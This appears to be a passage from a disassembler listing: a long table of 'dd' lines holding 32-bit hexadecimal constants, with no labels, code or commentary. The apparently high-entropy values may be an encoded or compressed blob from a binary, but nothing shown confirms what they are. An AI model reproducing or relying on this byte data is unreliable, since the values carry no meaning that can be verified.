		dd 30EEBD6Ch, 20B55D4Ch, 0DECFCD90h, 0EC5505BFh, 803FA6D5h
		dd 3C54D961h, 7F14C73Fh, 8F598702h, 516EA153h, 184B7964h
		dd 649C090Fh, 8821A8A2h, 2F8365FEh, 8C7AD82Eh, 8BC9FF03h
		dd 0C812E32Eh, 24B4C0B6h, 111C6ED0h, 8CE1353h, 38B194E4h
		dd 0C43048C8h, 9A94F711h, 9C8E6F5Bh, 55C025C8h,	7146544Fh
		dd 0AC83546Eh, 0EBFE002Fh, 0B1447E99h, 0E0761D4h, 8A8D29B9h
		dd 9D6407E9h, 0A6B56321h, 9AC00C6Ch, 85F526D3h,	0A516BF72h
		dd 0E8F070FEh, 78951229h, 2C649DA2h, 8C23ACB4h,	0D5CB5902h
		dd 599AECF9h, 505BCB4Ch, 2FCE4350h, 0EC64CFDEh,	23AA3F10h
		dd 0A848805Ch, 0F8C88BCh, 155E56F6h, 391EA060h,	522F1704h
		dd 2E702166h, 0A1F205D8h, 782A5CE4h, 0AC1C2C09h, 0A4E08C22h
		dd 0D4FB740Ch, 0BD71B831h, 1F910097h, 8CADD880h, 89286BC1h
		dd 381CF41Dh, 0A1427EFFh, 792FD65Ch, 181F7918h,	4C8B0359h
		dd 7388B8F7h, 6C5AF013h, 2E05A422h, 0CE1E24Bh, 45E2CA63h
		dd 3D88C0FCh, 37B2078Bh, 46BA52EFh, 194510F0h, 4A905830h
		dd 51B48026h, 5F1D6AC7h, 28727BB1h, 5CE2753h, 58BCF84Ch
		dd 8A2177Ch, 202AE4A1h,	0B5411410h, 4F01FBFCh, 6484FEF4h
		dd 887418D2h, 94D516ACh, 0ED808001h, 6418D3BCh,	0ECD07902h
		dd 21A43063h, 31591538h, 0E48884BFh, 0B3E95063h, 9871CAF9h
		dd 4C80BD64h, 0C391C7h,	0B84EA25h, 0C939D48Eh, 0E98DFA1Ch
		dd 80BCA2C0h, 120353E2h, 2775618Fh, 6E8D50E0h, 68001F49h
		dd 0FC01A377h, 0B3F38CCh, 0D81CFD4Ch, 1727C4F2h, 76D0A0E4h
		dd 1116B8Bh, 58D7B82Ah,	0F8A47281h, 9BF094Dh, 4438E764h
		dd 0E540604Ah, 246402D0h, 0A2F65CFCh, 6562744Fh, 0A5FE8166h
		dd 0B83C1A74h, 0A719C7C0h, 0B80064D7h, 0BF623198h, 0BECEDF01h
		dd 5C43AF28h, 39C62298h, 0F8C8909Fh, 4809000Eh,	0F7FFB685h
		dd 9507AAA6h, 6347CC93h, 0FAA4D091h, 0B91E9C3Dh, 4A9654h
		dd 0AF032CECh, 21983AD6h, 5A61F094h, 902BF88Ah,	910DFB4h
		dd 9DC8CE95h, 8A912097h, 19EA482h, 49D8CB82h, 8B397456h
		dd 823C4C83h, 0E478E630h, 440D2D50h, 4C913C9Dh,	2F093780h
		dd 0DC13B3BFh, 0BC8D941Ah, 9C98306Ah, 194018FBh, 19D258DAh
		dd 22BBF860h, 525E6551h, 0ECE5A406h, 79E4B9E0h,	0F79188Bh
		dd 2F4104C0h, 90DCFE64h, 86BEEF5Ch, 18E1EE2Dh, 0D3EB175Ch
		dd 9BBA0021h, 0DF38AE86h, 0D8643C14h, 34B500E6h, 31B3E0FBh
		dd 7C52270Eh, 817EFCA4h, 39089200h, 0FCA9D2A4h,	0EE0532A8h
		dd 0F70ACBE7h, 204D000h, 40442E9Eh, 41FB217Ah, 326455A8h
		dd 28177B50h, 909CED3Ch, 5E78BED8h, 0CD016D46h,	0B5E69184h
		dd 0D232F0B3h, 5E4CC449h, 38B15841h, 9024E758h,	340907F7h
		dd 96284767h, 0DC99880Fh, 11009749h, 6AA28123h,	642AD372h
		dd 0B204E228h, 0B82B302Ah, 0A107CB03h, 98E439BDh, 91FF81FEh
		dd 5D9D8308h, 3CC0555Eh, 5491E09Fh, 1CCDD482h, 9D00A24h
		dd 145C5518h, 547AC641h, 23743A2Eh, 0E8150031h,	0EEAD9BD3h
		dd 5AC79102h, 62C020CEh, 0E4E4399Ch, 6FA28023h,	7C8EC930h
		dd 0C453287Fh, 0D3F90BE4h, 54A004FDh, 0E7AB6B79h, 340B274Fh
		dd 27DCD25Eh, 3CA4ACEDh, 4BC48001h, 0F55AB670h,	3907C86Eh
		dd 27F39EE3h, 0E8B5CB62h, 809D1E91h, 10C78780h,	43137652h
		dd 94281E0Eh, 6A470F11h, 0A1A96F90h, 20111C1Dh,	19901380h
		dd 9C0B6B52h, 52F8E032h, 92F90034h, 0F02578A8h,	3A00EBD8h
		dd 0D7DB8A5Dh, 26ACFDD4h, 76008529h, 0E3001446h, 13BF3986h
		dd 47046C41h, 796664FCh, 0C11664E7h, 0E27CE282h, 0E1E2300Eh
		dd 1490754Fh, 55FF27Bh,	2185FE91h, 3044B5A1h, 952C64B4h
		dd 804ED4B2h, 0CB74E597h, 0E7334AB4h, 5B338E8h,	6DABE006h
		dd 0F60088E2h, 0BDEC800Fh, 64B1A1ACh, 465C244Ah, 80863888h
		dd 0F244AAE6h, 5CFC11E0h, 0B610A4D4h, 2598487Ch, 58007399h
		dd 8C16D3EAh, 8421858Eh, 280939B1h, 8C4AACF8h, 2507C800h
		dd 0ECF9AB2Bh, 449C4B42h, 2F6643Ch, 0D0C6F4F7h,	0C99D1F0Ch
		dd 0B356419Eh, 604C6190h, 40AD37D5h, 102BDCE0h,	0F9870668h
		dd 0D96D5A64h, 4B410877h, 19F3C7F0h, 98910412h,	228C0850h
		dd 0B90283D2h, 82DD35D3h, 82705ED0h, 19ACE650h,	0AB80087Ch
		dd 1492D3F1h, 0F7070ABFh, 74F09650h, 68008A46h,	982EC469h
		dd 794FCBBBh, 0E23442Eh, 0C69B2000h, 590E562h, 8E8595CDh
		dd 2E8BCBAh, 36E467Fh, 0B8D44052h, 0C4968421h, 0B3FED4h
		dd 0CCD6698Dh, 4846FD1Ah, 3A5FD003h, 255B725Eh,	0BC721C70h
		dd 76C123Ah, 0EB52F4A2h, 7388DBBBh, 98CFFCB8h, 6417789Ah
		dd 9C12B08Ah, 0A4C094BCh, 85E6EAF8h, 0DFA13E39h, 78A05C60h
		dd 88D84AB4h, 0A5F674A4h, 96F3DE38h, 0B804B1EBh, 589080EAh
		dd 88A08308h, 0D816473Ah, 20C09245h, 48498266h,	241BE812h
		dd 71A8A8AEh, 0A730705Dh, 0E382612Ah, 7BDF0F8Dh, 491325BBh
		dd 0FC847F28h, 0CCE0474Dh, 501108B6h, 4052F059h, 540F4E5Ah
		dd 0EF8EE37Eh, 631F6518h, 6D30C840h, 5FECD377h,	4220D12Eh
		dd 342E3B99h, 0F3004723h, 8A7FA84Ch, 9CDF160Bh,	2AECA44Fh
		dd 0AC335712h, 4CBC2CE8h, 0C658008Ch, 1045C12Fh, 4609A138h
		dd 0C01DF4C8h, 54D89A04h, 2AB006h, 0CA79816Eh, 5C0CD34Ah
		dd 159EECA0h, 5600F17Dh, 145DD7AFh, 11996FEh, 9A2DED94h
		dd 0A4F5AC20h, 0A00C8440h, 30583Bh, 52F8FE42h, 5E62DB66h
		dd 0BC38DE48h, 853F8C6Eh, 0B30503A7h, 98B298D0h, 9CFAFDD8h
		dd 0D8D53DBCh, 23442F2Fh, 5191608h, 0B2A3F1D3h,	3008F20Ch
		dd 561218C1h, 3CECA29Eh, 95627580h, 0C600D6B3h,	0DD52BDFDh
		dd 0B637A64h, 0CD594CDBh, 6F124974h, 0EA50A4h, 8317F05Ah
		dd 8B16C94Ch, 0E675F490h, 0D0401C5Eh, 0B22BAA8Ah, 25703AA0h
		dd 985C097Ah, 70DBEFD3h, 494F470h, 8A7C6C4Ch, 7178A854h
		dd 0C8D8EB05h, 44E8BC28h, 1E8C8200h, 8D648BC3h,	0FD2C2310h
		dd 7E5CF704h, 0EFD08855h, 5929C405h, 0D8C0AC85h, 9E0EF4FBh
		dd 0E74D0194h, 4FE92147h, 0C3467420h, 84A11925h, 0C4D9331Eh
		dd 4E00C630h, 0F9D15459h, 0E4B84ADDh, 147724CEh, 80452D8Ch
		dd 0E06049C4h, 0F31C54A4h, 8044C9F5h, 48FD1C4Ch, 0D45E7A00h
		dd 0BD00EF9h, 91AC97B7h, 0A0DE804Eh, 0FE9364h, 8C4A523Ch
		dd 0D4EDF0F9h, 78D22D25h, 0D3E02DF4h, 909BC44h,	725EE6ADh
		dd 13DFF808h, 0CB994E84h, 0A39FC4h, 655B74B9h, 7C12D001h
		dd 54A98546h, 1643C99Fh, 6400205Eh, 5192BC40h, 2181606Fh
		dd 15146AA2h, 5A0A2600h, 8A6D503Fh, 709509BFh, 9C0AB6EAh
		dd 5E2C3934h, 9467460h,	2AB8E83Bh, 84E09206h, 0D49EE863h
		dd 247101DCh, 3449435h,	3A0821E2h, 8500886Eh, 2634644Eh
		dd 77028D95h, 0D8284860h, 9C2CD613h, 0D7A57D47h, 9170C0DBh
		dd 739005A8h, 0A2588D7Ch, 3060F2B0h, 3401EE94h,	0EF9EBB9Dh
		dd 8A30CEDFh, 4B102CA2h, 0A27A44ECh, 3013E2FCh,	2073A3DFh
		dd 0D3D4B638h, 3315A224h
		dd 79CF22E8h, 8236613Ah, 0A22EEA40h, 27CF4C0h, 0FCCE37FEh
		dd 0A4823C48h, 0E58298B6h, 0E780A099h, 60136488h, 141A149h
		dd 78D3CAB3h, 6B3637FCh, 58305004h, 0E9801CE8h,	0A51E7B6Bh
		dd 0CCF3081Dh, 52D62F40h, 0BD186CD0h, 80DC68A8h, 8D4CFD10h
		dd 0A039C964h, 1B19785Dh, 0F82054DDh, 0EA308180h, 69E575CCh
		dd 348E894Ah, 0A4CE0788h, 0F8BCEA83h, 0B1D2980h, 70E9CE20h
		dd 0FE3345F2h, 6A1A054h, 0C2D3DF81h, 0D7FC3081h, 7484044Ah
		dd 146EEBh, 0C18B773Eh,	3068B2A5h, 0CC587F4Ch, 0F77E856Fh
		dd 60E3AC03h, 0E5A2FB83h, 1DE850FDh, 0D756A102h, 83584C45h
		dd 0C31C3198h, 9BF94F94h, 0A0B98010h, 0BE55D5E0h, 0FA6B8588h
		dd 4EA4B1D3h, 0C01F88D8h, 0AF9DEED9h, 0F7047F7Dh, 44F85E39h
		dd 4B900C5h, 3B206E4Eh,	66A80BAh, 7CC9DF2h, 3FBF2CBCh
		dd 0ECFB1329h, 0F8DB5A54h, 600DC281h, 4D54523Ah, 0DC20D020h
		dd 5C40974Ah, 774E3A94h, 1FC8CCCEh, 0B98C70C0h,	27F600A1h
		dd 2F70463h, 2D01A5FCh,	2F8576C7h, 5CE4534Ch, 1C7C9636h
		dd 0B82392F3h, 8CEDBC10h, 88276D02h, 647D554Fh,	94C0BA8h
		dd 4460E3DCh, 0BC0545E8h, 0B23E6490h, 0FD84A31Ch, 49FE7637h
		dd 3C420500h, 2579C471h, 0E000818h, 0A14D90AEh,	7F664263h
		dd 0C1982576h, 6ED190F1h, 0E700FF18h, 98D3328Ch, 60757B0Eh
		dd 6F89215Ah, 1407B42Eh, 11F4503Ch, 0DC731050h,	7918B19Ah
		dd 43184Ch, 0C63E0813h,	5B6E2D22h, 1FDC69C3h, 7C3C9917h
		dd 12FEF4F0h, 0F6B69D69h, 0B0B7E3C4h, 258D63Bh,	1CEFBA1Ah
		dd 20CD0729h, 9D44FBE0h, 636B03EBh, 0F3350EE1h,	81B89FFCh
		dd 0BDA0FE87h, 269D6ED0h, 8994022Bh, 84C58864h,	23676DE4h
		dd 96C8A4DDh, 0FA30A1ECh, 2BEE7118h, 0ABC500C6h, 32F662C3h
		dd 900DABEh, 0DB0CA2CFh, 983696h, 705075F2h, 0F136728h
		dd 0C676B600h, 0D7F6C8B3h, 0AC84BFB5h, 1E2CB292h, 0A7C71EB2h
		dd 0AC81757Ah, 7208849h, 4B033C28h, 0A264D007h,	64F6A95Ah
		dd 4C4674h, 0C2824740h,	7C34ACC9h, 3862F351h, 34C6E025h
		dd 48023711h, 5C3CA209h, 6DD9E0D1h, 73024418h, 8C38B53Dh
		dd 1CE0405Dh, 0AB3A007Fh, 53E28280h, 6212EF39h,	0E8F0248Ah
		dd 412B7C74h, 6F58452Eh, 71400C0h, 9D2FAC9h, 1106015Eh
		dd 0F97C4FACh, 8C288F54h, 0BDC467B7h, 4DC94072h, 6DBCE03Ch
		dd 0BD027609h, 0E8FB4C50h, 0DDEF002Ch, 4E118266h, 0E64F5980h
		dd 76ACE004h, 0C32109BEh, 680B6AA9h, 0A8C0D0EDh, 0B00F98CFh
		dd 45F02014h, 19F93F17h, 46F4A704h, 0EC4000FBh,	0EF9B67B9h
		dd 801435B7h, 1D082501h, 0B91FDA4Ch, 4B4128D3h,	87AAECFCh
		dd 0C9E56081h, 38825CF9h, 9EEB0120h, 0CAD5DF0Ah, 0EC3C7475h
		dd 8C8BBCh, 0B96FD4FEh,	9E3FFDFFh, 0EA5D2092h, 0ED302DA4h
		dd 0C8E6C028h, 0FA487F0Ch, 91A980D4h, 0F50E58h,	57957B34h
		dd 0B35F45C9h, 70018338h, 0CF52443Dh, 1442A8E4h, 0A8C8D4BAh
		dd 8C25E8h, 9598D4AEh, 0E4282E64h, 800B8C9Eh, 8B056F2h
		dd 2F164DE8h, 7AEAFC84h, 3629005Ch, 2C069EADh, 9A5A134Fh
		dd 0CE4A8B0h, 69E519AEh, 4AF400CBh, 0D381BD35h,	0B1027802h
		dd 11A7089h, 4608E016h,	0A70A806Eh, 82137494h, 99405086h
		dd 60D4D318h, 333B7ABh,	0E2D485ACh, 0ED80BB57h,	0DA284376h
		dd 521AF426h, 5FD0AB6Fh, 6BB404B8h, 0C217501h, 0C0028305h
		dd 740930D7h, 7D4BB42Ch, 2C5A2100h, 9C2E82A2h, 0AC153C3Dh
		dd 0B3843E06h, 0AF00288Bh, 0D9D2B7FFh, 3BF3F75h, 0D4B9CC48h
		dd 35A3C739h, 62008AA3h, 43B7797h, 1D4D4Fh, 55D2C498h
		dd 0BA227489h, 0D133D700h, 81C204DFh, 0CB4E8FDh, 0E683388Bh
		dd 8C3B1A69h, 11B1B06Fh, 229D4h, 23183ABCh, 214833E2h
		dd 21C0CCE8h, 4A0231FEh, 5647077Dh, 0C39C3979h,	88969F83h
		dd 4F08C518h, 51488BE8h, 68910C13h, 22D807Bh, 8C383AB8h
		dd 0F2CD44h, 0B7A0235h,	4FDCAEC4h, 1023BD07h, 0CD601DBEh
		dd 824D879Bh, 7246B834h, 2E169901h, 87779C26h, 6FB02C19h
		dd 0B6AEDBF0h, 0C328004Fh, 0C67E86B8h, 3D00F806h, 2AAB9C95h
		dd 32C15BFh, 39109332h,	0C1D8E3D1h, 7A73BA81h, 42FAE00h
		dd 0DD566A9Bh, 4F1E14B5h, 768050CEh, 7B050B21h,	4C6E448Ch
		dd 12217E00h, 0FC465BD7h, 87F20051h, 82C3CD39h,	0A0A0557Bh
		dd 31C08899h, 0EDE638Bh, 0C04174A4h, 80BC2D10h,	7103C42Ah
		dd 0A1CE87E0h, 3936A3DFh, 808B7F21h, 2D8175CCh,	0F067D0EAh
		dd 0E060E73Bh, 0CFD4D20h, 877638C7h, 5F41680Ch,	21C0F609h
		dd 0B7C7039Dh, 1096018Dh, 59478797h, 1C84739h, 20B362C0h
		dd 0AB1D8954h, 0C7030E3Ch, 0F3878F63h, 4B02367h, 3480B603h
		dd 58A844C4h, 0E48D8930h, 5D0E2280h, 0EC7B7559h, 12E08903h
		dd 20260977h, 94486304h, 30DE6424h, 2A807011h, 103ABD02h
		dd 0FDCB448Ch, 42023200h, 63B629D9h, 469D30ACh,	0ED1F7A81h
		dd 0C157F100h, 82BA4968h, 2FB024CFh, 80729164h,	3ABB0230h
		dd 0C0989120h, 0A50238FFh, 4ED8A200h, 3D933914h, 0DDD1C087h
		dd 683FCC31h, 0C8AC36F0h, 69C70904h, 0A0381887h, 1C7103Eh
		dd 0FB5B21B9h, 5180C2E6h, 2D901F32h, 1103DA08h,	0EBC19FDBh
		dd 2A83A5A9h, 7EABC10Dh, 31C8CC4Fh, 1AB9FFC0h, 0EC5D48C7h
		dd 35B82490h, 1D85008Ch, 0DEA7ACFh, 0D7280753h,	0F0A7847Eh
		dd 61607444h, 0E87C9178h, 1A187C98h, 0B5A05AF3h, 96F26F1h
		dd 1A83280h, 3A80B930h,	2246C42Fh, 0D18C0036h, 7669F580h
		dd 53155F04h, 7B4C1E7h,	0D6E88750h, 1D2A30F0h, 0D4A00097h
		dd 0AA5A64A4h, 3018129h, 0BE578B3Ah, 84CCF2A9h,	0E3D224C2h
		dd 81DD0094h, 0CC6B0FFFh, 598911DEh, 0FE6C003Bh, 0CFC3E307h
		dd 39C48718h, 85A4033Ch, 0E598260Ch, 0BA4D8004h, 3B2DA132h
		dd 2E1CF64h, 2E80B860h,	11D1C423h, 0D058712Ah, 66B3025Eh
		dd 41A643B6h, 5E825A40h, 0B193D148h, 87687460h,	98BD5718h
		dd 77080C88h, 4EA0CFE3h, 3ED1887Bh, 57DEDD5Fh, 68C038E0h
		dd 21051521h, 789101CBh, 904226h, 7AC45EC9h, 2C915C97h
		dd 0B4607E12h, 24B70234h, 70E8403Ah, 2003CF3h, 0B2F7BB0Fh
		dd 188D19EEh, 0A8E41F0Ah, 8C54915Fh, 48CD250h, 517216Ah
		dd 277262DBh, 0D6215048h, 0CA18D269h, 0F519829Ah, 0E2630FCBh
		dd 0B9E10368h, 0EF833DAEh, 0D1319105h, 0CC103930h, 73401890h
		dd 16107A39h, 452D9BF1h, 4044A494h, 962997C8h, 1F005761h
		dd 2EE6AE02h, 3FCF1814h, 0D981662Ah, 0D39DC989h, 640882E1h
		dd 0FC7B287h, 258C2480h, 0CE01FD5Fh, 7FE7561Eh,	2980D355h
		dd 95653BC9h, 11C0A1B1h, 2B4306FDh, 0E97D1Ch, 661924D5h
		dd 99FF8ABAh, 55B9B600h, 1846E55Dh, 0F93F00C0h,	79C8B454h
		dd 9300378Ch, 20A011A4h, 30825174h, 0D63873B9h,	0F401C2CDh
		dd 9E23C83Fh, 898B837h,	0C5F821D1h, 0DADCC200h,	9A4B1D75h
		dd 23C70031h, 0AC11093Bh, 2218F4BCh, 0EA30B499h, 74FAE61Ch
		dd 7BDBE0F8h, 8213023h,	9EC36928h, 36F7C507h, 0E7D3B69Ah
		dd 0FF0800A0h, 0C45778ADh, 0D2068B5Dh, 805F2FFEh, 7A9F31B0h
		dd 301A6EE1h, 0EA01FB8Dh, 5FC6062Ah, 50D82158h,	36400104h
		dd 8346F961h, 222C4384h, 861DB999h, 9E315C80h, 4F2A0C18h
		dd 66608637h, 210E740Ch, 37C5F1C2h, 3A105F5h, 28B6034Fh
		dd 0EE49C00h, 7158AC51h, 0C9B60C04h, 0B9699DE7h, 5E371400h
		dd 3982A23h, 97FA3A1Bh
		dd 0DF21B030h, 0AB00370Ch, 0BDDA1CD0h, 148350B7h, 707072B5h
		dd 0E7BED907h, 0CBC2705Bh, 0B9C2853Bh, 9D9EE834h, 80D011DCh
		dd 52257AD3h, 0D4D90304h, 7B832788h, 6B1CD00Ch,	8CC3C8E2h
		dd 58370E0Dh, 6412C023h, 6D920B5h, 0FD07D437h, 0DDCEAAF6h
		dd 0D1891973h, 58837807h, 0A7E84BE1h, 0F2C313Ch, 0A0F4AD32h
		dd 0D1C1363Eh, 0CC03006Ch, 9AE94237h, 5D00B3BEh, 5995742Dh
		dd 64C3D1BDh, 60C89892h, 2B5D3713h, 11B02223h, 0BDE00B4h
		dd 0D8E53D37h, 0D37131h, 8880DA77h, 0A3E92C5Ah,	440029DCh
		dd 0D64C147Ch, 0B4A60223h, 0A1E529B5h, 9A699440h, 35C0912h
		dd 0F51F0047h, 0F688CFB0h, 807719DAh, 801408DEh, 79ED4221h
		dd 0CFA9483h, 0C5FD0941h, 0E0E3FB48h, 2F14FF67h, 68C9D87h
		dd 0BAC910E7h, 9AAF2820h, 25046E8h, 3FF3C2CCh, 40DC33C0h
		dd 41C2C4F7h, 0E61E1968h, 1852400Ah, 0F5C208CEh, 0CDC4D03Fh
		dd 0C2C6F940h, 640619DEh, 0E59A92CAh, 20646F0h,	88CC79F2h
		dd 101B31DEh, 1F79EA3Fh, 80D78287h, 0EEAF6DC3h,	59000F07h
		dd 178C9DB5h, 750585CEh, 82830CD6h, 380B812h, 0E8C5B62Bh
		dd 5A371001h, 120E0A23h, 340008DBh, 80A9C2AAh, 0E6827BBCh
		dd 60D56FEFh, 6A4C6C40h, 60A40D9Ah, 0D379F904h,	1C621688h
		dd 79F14620h, 0A60400ECh, 0B01A21CBh, 0A74C313Ah, 295D1068h
		dd 0AE83820Dh, 50C5D989h, 0C495C6A0h, 80751239h, 0B61C7E7h
		dd 7FF42A2Dh, 0BC5437D5h, 0B0F8E129h, 8AF441ABh, 88D44E5Dh
		dd 3FFDC0CAh, 0AD60B101h, 0BA82C048h, 0DBBC14FEh, 0FA7080E6h
		dd 21BC9056h, 5F2CA5A3h, 1076E30Ch, 71311B41h, 0EBD840BBh
		dd 0F83032C5h, 220F28F9h, 70756161h, 642D08B7h,	0A164B814h
		dd 0CCB03F9h, 0F7C0B4C8h, 11D93h, 3224B3C5h, 0A66CFA7Fh
		dd 0B65B8201h, 0BD8FB4FEh, 5DD5C09Dh, 30116E83h, 0F9C59540h
		dd 0ED40B54h, 4A81F52h,	0C8F12941h, 8F266500h, 24B2C16Ah
		dd 0A19B1B20h, 0F8190B64h, 8823D179h, 12171106h, 0F714EF44h
		dd 0EE37064Fh, 1CC9A9E8h, 83813C5Ah, 68892F7Eh,	2CE743F8h
		dd 19796E0Bh, 44C1AFFh,	0D26056ECh, 3F23F9C2h, 0FDC43DF0h
		dd 0C8CA4Ch, 0C57D6F18h, 160E7A27h, 407B9F6Ch, 0E72E5200h
		dd 0D903CDA4h, 0E1113FC7h, 5AF826A2h, 80CA1188h, 235F3715h
		dd 10FF8C32h, 0FE370DE0h, 12CB1C59h, 0BC8DC062h, 0E16B25AEh
		dd 6740648h, 0EAD7C29Eh, 73C08181h, 0CA80814h, 0D279F8C0h
		dd 220E4688h, 0F0450019h, 1164379h, 0F7285176h,	6520DC92h
		dd 0EE813C1h, 23043EB6h, 0A34F0EB3h, 0B1103901h, 0B308203Fh
		dd 0B1250E80h, 829E0A78h, 0DBEE80A4h, 0A0E643DCh, 81F9400h
		dd 0FBEB0434h, 2048B8B4h, 0D1142449h, 23E45A8Ah, 0C2D00154h
		dd 18E03FF7h, 0C8FB88D3h, 2E0AC200h, 9D789CF4h,	5BC4023Dh
		dd 43BC977Eh, 79255068h, 0B8D7FF28h, 7D225920h,	0D987303Ah
		dd 14DD3120h, 6DA91206h, 46898B6Eh, 0C2D10255h,	67E83FF8h
		dd 0C9FC0714h, 7C9F43C2h, 5259F900h, 5F042A93h,	0F51909F8h
		dd 0B8277FBCh, 0A8384C6Ah, 31803B30h, 6F83BCFCh, 0C1F20E7h
		dd 72A80759h, 331CB551h, 30B2A2C4h, 250F1464h, 669DACD7h
		dd 10592BFDh, 2DF6B95h,	906775A9h, 446CE7DAh, 830260D3h
		dd 300C009Dh, 13A2A891h, 0BC19F6C0h, 9A60D76Bh,	0E9D21030h
		dd 9C1B6500h, 1D27CB1Dh, 9034C9DDh, 771E3480h, 0D44D8274h
		dd 7F9F59E1h, 9668A850h, 74EF1E2Dh, 9A4640B0h, 9B5A633h
		dd 30BBD12Eh, 0F4630844h, 0EE88CED8h, 411A448Ch, 0AA79EC00h
		dd 514F8A67h, 476D00D6h, 0F990BDDAh, 0A91BBF7Eh, 8081D43Ah
		dd 5104E58Dh, 0B44BDC86h, 36C3B5C8h, 685D82Ah, 5E6009D5h
		dd 0DC1A9FB8h, 5E6F404Dh, 24B749C0h, 0F27774Bh,	0E1941B9Eh
		dd 72E98FA3h, 973CBA8h,	1C81751h, 0CD33BE0h, 0F0A04C52h
		dd 8C1BF8h, 58916707h, 0F7D6CB5h, 570D82F2h, 58119C0Bh
		dd 0E3BCF430h, 0F96B2200h, 8A489D0h, 9185D4A3h,	371180C6h
		dd 9912235Bh, 9DCC058h,	4604F037h, 0B4F1D2CAh, 0C041E4C1h
		dd 3A9BC600h, 0DE48B1FEh, 8CD2E838h, 7E038C00h,	4E63D908h
		dd 37AF0019h, 4F69CA75h, 27182888h, 7DE082E7h, 0CE0304B5h
		dd 8ECDE421h, 0C0B588E4h, 586FA7CAh, 0F28A0507h, 63635FD6h
		dd 1708A878h, 0B80C545Dh, 54A037Eh, 5E9B9DE8h, 0BC367880h
		dd 0DB80BF00h, 70D683BAh, 0FFDD04E7h, 90779EF0h, 5D5E9358h
		dd 7BFD1501h, 43F4BABEh, 218C089Bh, 0C05D56C8h,	0A9E4EE74h
		dd 0C8F50C31h, 0B8448CFCh, 3B27D002h, 1B94587Dh, 0C1A88682h
		dd 9CA1BFB2h, 706D97E4h, 0D07DE67h, 500406B0h, 90644100h
		dd 154B3699h, 0EC46A041h, 115D5A02h, 8E315BFDh,	5DD9C014h
		dd 0ED001E2Ah, 0C5C07DC9h, 4B30E964h, 8C0401F5h, 5391BF27h
		dd 394975C8h, 30AC0348h, 53F76123h, 18E27471h, 3B32F30h
		dd 0DD882312h, 0F900C182h, 0BB7CFD1Ch, 0ACE5F7h, 0E9BDAA49h
		dd 4BE28B58h, 0FF15F504h, 0B890CFBCh, 0E28376A5h, 0F9F89134h
		dd 5018B5h, 4445BB38h, 65CDE6C0h, 92615814h, 0C2011084h
		dd 97B87501h, 392BDDEBh, 0E88C48B4h, 2B008C18h,	28E394EDh
		dd 15979983h, 0E0EBFFDEh, 105D5980h, 8753FDh, 975D51B5h
		dd 8201CF4Ah, 746D0228h, 2180859Eh, 5C20D7CCh, 7502FAF4h
		dd 3D48C371h, 4C9AC032h, 80F91F4Bh, 56550168h, 37011410h
		dd 0E2A0421Ch, 554430B7h, 8BBE9C00h, 21F146FCh,	0DA1600CAh
		dd 8DF708Ah, 2C90BD0Dh,	112C605Ch, 10223CDh, 441E2816h
		dd 0B3113C97h, 0E8E9DD8Fh, 75C66500h, 0B509EE93h, 0E8888323h
		dd 2043CAA4h, 0F4702035h, 0D856504h, 9CF58314h,	9D94E8CFh
		dd 454C0164h, 1BDEA4Eh,	0D644346Eh, 0CDEC2B12h,	1E67A8C8h
		dd 8048883Ch, 5B468EDCh, 390EE66Ah, 68527A83h, 78BF87BBh
		dd 0D3892F02h, 879128B7h, 8D837D81h, 4274239Ah,	3088E224h
		dd 0F8703FF7h, 67367413h, 0E9324460h, 0AE410E5Bh, 788CA94Fh
		dd 5531CA39h, 0BE0358F9h, 8C4F0060h, 0F2C2CB05h, 7CCEB83Fh
		dd 0C2C3F600h, 0A69A8B94h, 0FBA71200h, 0FD9B0C08h, 0C123209Ch
		dd 0E9446891h, 0E5D5760h, 1143FD23h, 4FB30090h,	9CC5525Dh
		dd 9A211DBFh, 0E03446Ch, 0FC64CD8Dh, 5804FE32h,	0B32A88A1h
		dd 8BE6CD8h, 7948CA5Ah,	0CB1F28E0h, 9F40C987h, 0BE19B010h
		dd 8C30A900h, 6E10B726h, 70350074h, 76C5A667h, 5A5C0AE5h
		dd 9A531004h, 80D09A93h, 5158EF9Bh, 195F020Ah, 0E84B0143h
		dd 29222058h, 321C07BAh, 0CC6E41D4h, 0B4159CA1h, 26ACC45Fh
		dd 59302697h, 0FC36B7h,	17BAC8DEh, 0C4E11EEBh, 10C06D04h
		dd 0FCD9E87Bh, 0D3BC142Ch, 51FC008Ch, 754D900Ch, 82008F59h
		dd 0CDF6FEE8h, 91203D73h, 4B3F00FCh, 0E7FA543Eh, 0B760F818h
		dd 0BBFBF4D8h, 59650E0Ch, 80C6B004h, 0F958DCA0h, 0B4758406h
		dd 50E0C227h, 140FD81Bh, 0B4A58C71h, 146E5Bh, 4FA649BBh
		dd 3FFE645Fh, 5190237Ah, 16FC392Dh, 0DC29BDC3h,	8988544Eh
		dd 0A4C53C0h, 0D61C0259h, 5C06B2DAh, 0C966D090h, 996DE700h
		dd 17A02B41h, 21201F3h,	0A49024B7h, 0E7DC204Fh,	0C8F87924h
		dd 77CC46D4h, 8B67B702h, 81852B4Fh, 0A109B5F8h,	0D928D9EEh
		dd 0E6181Bh, 7E98765h, 0BEF8D486h, 0B0510E16h, 0F0723029h
		dd 4930B0B2h, 0DA4200C6h, 12886080h, 99899BC7h,	0CCA25423h
		dd 133BEC30h, 498D8AC3h, 0F4C79AF4h, 4961AEC4h,	2A7DDC25h
		dd 8550E8BAh, 50BAA428h
		dd 0B4F2E443h, 3D87230h, 0A8541A2h, 95F18340h, 689DC1DFh
		dd 8E5459B4h, 0B9A106E7h, 41B74B18h, 756B2284h,	72A08C15h
		dd 0E7EDB0E1h, 83C97600h, 0A8A765F8h, 0C960CEC4h, 0DA011AA6h
		dd 5E6C077Eh, 21A4C683h, 232B075Ah, 0A013F741h,	2C35C338h
		dd 74A52600h, 0F6C16B0h, 879CB424h, 0C834F8DFh,	6BA36002h
		dd 13D8F8B5h, 2085C0FEh, 8AD9B67Ch, 31418B05h, 8442A2C1h
		dd 67741B1Fh, 61CAC460h, 85D7C546h, 0EAFBE040h,	1852C606h
		dd 79743BA9h, 0CB0C0ED2h, 2901F3C5h, 10FB025Fh,	0DA9E88CCh
		dd 18EF0C61h, 2314E25Dh, 8D1273FDh, 0F20080A3h,	0D39167D6h
		dd 37E083DDh, 848F433Ah, 0B9D92941h, 0F03FCC88h, 3C7CB6BDh
		dd 23C83A5Eh, 83ED00D1h, 63879066h, 9194438h, 800B5175h
		dd 0AFEC8570h, 847C26BCh, 761D41B4h, 0BCB06879h, 0A34C8C14h
		dd 28DF04F4h, 0E03CE2Dh, 9127C721h, 0B4ECA09Fh,	22E807h
		dd 1DFB3067h, 0A60235D9h, 234FD506h, 468097BAh,	79F30207h
		dd 1CE688CDh, 79EB4004h, 3CC2C209h, 0B9E461FEh,	9E262503h
